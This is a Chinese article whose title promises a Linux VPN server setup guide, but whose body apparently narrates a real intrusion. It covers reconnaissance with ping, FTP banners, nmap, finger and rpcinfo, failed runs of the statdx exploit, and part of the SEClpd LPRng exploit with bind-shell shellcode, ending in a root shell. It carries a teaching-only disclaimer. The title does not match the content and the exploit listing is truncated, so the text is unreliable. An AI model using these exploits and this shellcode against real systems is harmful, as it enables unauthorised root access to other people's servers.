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图文并茂：Linux下VPN服务器的搭建
日期：2008-01-02 作者：51CTO 来自：51CTO
此文的目的不在于教人入侵，而是为了提高自身的技术和加强网络管理员的安全防范意识。仅此而已!粗心大意的网络管理员应该明白：由于你们一个小小的操作失误可能会导致整个网络全面沦陷!本文主要是围绕LPD：网络打印服务的攻击而进行的。
首先确定目标，假设是：www.XXX.com
先让俺看看是不是连得上：
以下是引用片段：
C:\ping www.XXX.com
Pinging www.XXX.com[202.106.184.200] with 32 bytes of data:
Reply from 202.106.184.200: bytes=32 time=541ms TTL=244
Reply from 202.106.184.200: bytes=32 time=620ms TTL=244
Reply from 202.106.184.200: bytes=32 time=651ms TTL=244
Reply from 202.106.184.200: bytes=32 time=511ms TTL=244
Ping statistics for 202.106.184.200:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 511ms, Maximum = 651ms, Average = 580ms
嘻嘻—不但连得上，速度还不错……
先telnet看看banner：
C:\>telnet www.XXX.com | 遗失对主机的连接。
再试试ftp,
以下是引用片段：
C:\>ftp www.XXX.com
Connected to www.fbi.gov.tw.
220 XXX-www FTP server (Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000) ready.
User (www.XXX.com:(none)): | wu-2.6.1看来有点眉目了。这台机器像是RedHat7.0!首先必须确认一下，连上俺的跳板:
以下是引用片段：
C:\>telnet xxx.xxx.xxx.xxx
Red Hat Linux release 7.0 (Guinness)
Kernel 2.2.16-22smp on an i686
login: fetdog
Password:
bash-2.04$ | 拿nmap扫描器，看看其中的奥妙~~~
以下是引用片段：
bash-2.04$nmap -sT -O www.XXX.com
Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ )
WARNING! The following files exist and are readable: /usr/local/sha
-services and ./nmap-services. I am choosing /usr/local/share/nmap/
s for security reasons. set NMAPDIR=. to give priority to files in
irectory
Interesting ports on (www.XXX.com):
(The 1520 ports scanned but not shown below are in state: closed)
Port State Service
25/tcp open smtp
79/tcp open finger
80/tcp open http
111/tcp open sunrpc
113/tcp open auth
443/tcp open https
513/tcp open login
514/tcp open shell
515/tcp open printer
587/tcp open submission
1024/tcp open kdm
TCP Sequence Prediction: Class=random positive increments
Difficulty=3247917 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.16
Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds |
打开的端口还挺多，这意味着入侵的可能性增加。79/tcp open finger ，先看看这个，不过linux没有finger用户列表这个漏洞。
以下是引用片段：
bash-2.04$finger @www.XXX.com
[www.XXX.com]
No one logged on. | 再看看111/tcp open sunrpc 。近来rpc漏洞风行，不知道RH7这个东东会不会有?先看看再说!
以下是引用片段：
bash-2.04$rpcinfo -p www.XXX.com
program vers proto port service
100000 2 tcp 111 rpcbind
100000 2 udp 111 rpcbind
100021 1 udp 1024 nlockmgr
100021 3 udp 1024 nlockmgr
100024 1 udp 1025 status
100024 1 tcp 1024 status | 看来有rpc.statd服务。来看看能不能远程溢出拿个rootshell。
以下是引用片段：
bash-2.04$./statdx -h
statdx by ron1n
Usage: stat [-t] [-p port] [-a addr] [-l len]
[-o offset] [-w num] [-s secs] [-d type]
-t attack a tcp dispatcher [udp]
-p rpc.statd serves requests on [query]
-a the stack address of the buffer is
-l the length of the buffer is [1024]
-o the offset to return to is [600]
-w the number of dwords to wipe is [9]
-s set timeout in seconds to [5]
-d use a hardcoded
Available types:
0 Redhat 6.2 (nfs-utils-0.1.6-2)
1 Redhat 6.1 (knfsd-1.4.7-7)
2 Redhat 6.0 (knfsd-1.2.2-4)
看来并不支持RH7。还是继续尝试，把0-2全部试试看再说!start……
bash-2.04$stat -d 0 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21
受挫，再试……
bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21 | 一样!继续……
以下是引用片段：
bash-2.04$stat -d 1 www.XXX.com
buffer: 0xbffff314 length: 999 (+str/+nul)
target: 0xbffff718 new: 0xbffff56c (offset: 600)
wiping 9 dwords
Failed - statd returned res_stat: (failure) state: 21 | rpc.statd行不通，想想RH7应该有个远程溢出，好像是lp服务造成的。“seclpd.c”应该是这个东东了。
—————以下代码仅供教学使用，决不能用来进行恶意攻击—————
以下是引用片段：
/*
* Welcome to http://hlc.cnroot.com/
* Run: ./SEClpd victim brute -t type
* Try first ./SEClpd victim -t 0 then try the brute.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ADDRESS_BUFFER_SIZE 32+4
#define APPEND_BUFFER_SIZE 52
#define FORMAT_LENGTH 512-8
#define NOPCOUNT 200
#define SHELLCODE_COUNT 1030
#define DELAY 50000 /* usecs */
#define OFFSET_LIMIT 5000
char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh"; | brute暴力破解。等上5-8分钟左右，结果出来了。
以下是引用片段：
- [+] shell located on www.XXX.com
- [+] Enter Commands at will
Linux XXX.WWW 2.2.16-22smp #1 SMP Tue Aug 22 16:39:21 EDT 2000 i686 unknown
uid=0(root) gid=7(lp) | uid=0(root权限)，现在可以近一步入侵!但不要做坏事!
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